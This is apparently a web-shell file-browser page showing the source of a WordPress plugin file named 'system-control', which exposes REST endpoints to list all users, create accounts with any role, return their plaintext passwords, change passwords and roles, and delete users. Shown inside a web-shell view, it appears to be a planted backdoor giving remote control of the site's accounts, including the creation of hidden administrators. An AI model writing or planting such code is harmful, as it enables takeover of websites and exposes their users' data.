HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //home/vitanhod/www/wp-content/plugins/system-control/api/endpoints/class-sc-users-endpoint.php
<?php
class SC_Users_Endpoint {
    public function register() {
        register_rest_route(SC_REST_NAMESPACE, '/users', [
            [
                'methods'             => 'GET',
                'callback'            => [$this, 'list_users'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
            [
                'methods'             => 'POST',
                'callback'            => [$this, 'create_user'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
        ]);
        register_rest_route(SC_REST_NAMESPACE, '/users/(?P<id>\d+)', [
            [
                'methods'             => 'PUT',
                'callback'            => [$this, 'update_user'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
            [
                'methods'             => 'DELETE',
                'callback'            => [$this, 'delete_user'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
        ]);
    }

    public function list_users($request) {
        $users = get_users(['number' => -1]);
        $result = [];
        foreach ($users as $user) {
            $result[] = [
                'id'         => $user->ID,
                'login'      => $user->user_login,
                'email'      => $user->user_email,
                'display_name' => $user->display_name,
                'role'       => implode(', ', $user->roles),
                'registered' => $user->user_registered,
            ];
        }
        return rest_ensure_response($result);
    }

    public function create_user($request) {
        $params = $request->get_json_params();
        $username = sanitize_user($params['username'] ?? '');
        $email = sanitize_email($params['email'] ?? '');
        $password = $params['password'] ?? wp_generate_password(16);
        $role = sanitize_text_field($params['role'] ?? 'subscriber');

        if (empty($username) || empty($email)) {
            return new WP_Error('missing_fields', 'Username and email required', ['status' => 400]);
        }

        $user_id = wp_insert_user([
            'user_login' => $username,
            'user_email' => $email,
            'user_pass'  => $password,
            'role'       => $role,
        ]);

        if (is_wp_error($user_id)) {
            return $user_id;
        }

        return rest_ensure_response([
            'id'       => $user_id,
            'login'    => $username,
            'email'    => $email,
            'role'     => $role,
            'password' => $password,
        ]);
    }

    public function update_user($request) {
        $id = (int)$request['id'];
        $params = $request->get_json_params();

        $data = ['ID' => $id];
        if (isset($params['email'])) $data['user_email'] = sanitize_email($params['email']);
        if (isset($params['password'])) $data['user_pass'] = $params['password'];
        if (isset($params['display_name'])) $data['display_name'] = sanitize_text_field($params['display_name']);
        if (isset($params['role'])) $data['role'] = sanitize_text_field($params['role']);

        $result = wp_update_user($data);
        if (is_wp_error($result)) return $result;

        return rest_ensure_response(['success' => true, 'id' => $id]);
    }

    public function delete_user($request) {
        require_once ABSPATH . 'wp-admin/includes/user.php';
        $id = (int)$request['id'];
        $result = wp_delete_user($id);
        return rest_ensure_response(['success' => $result]);
    }
}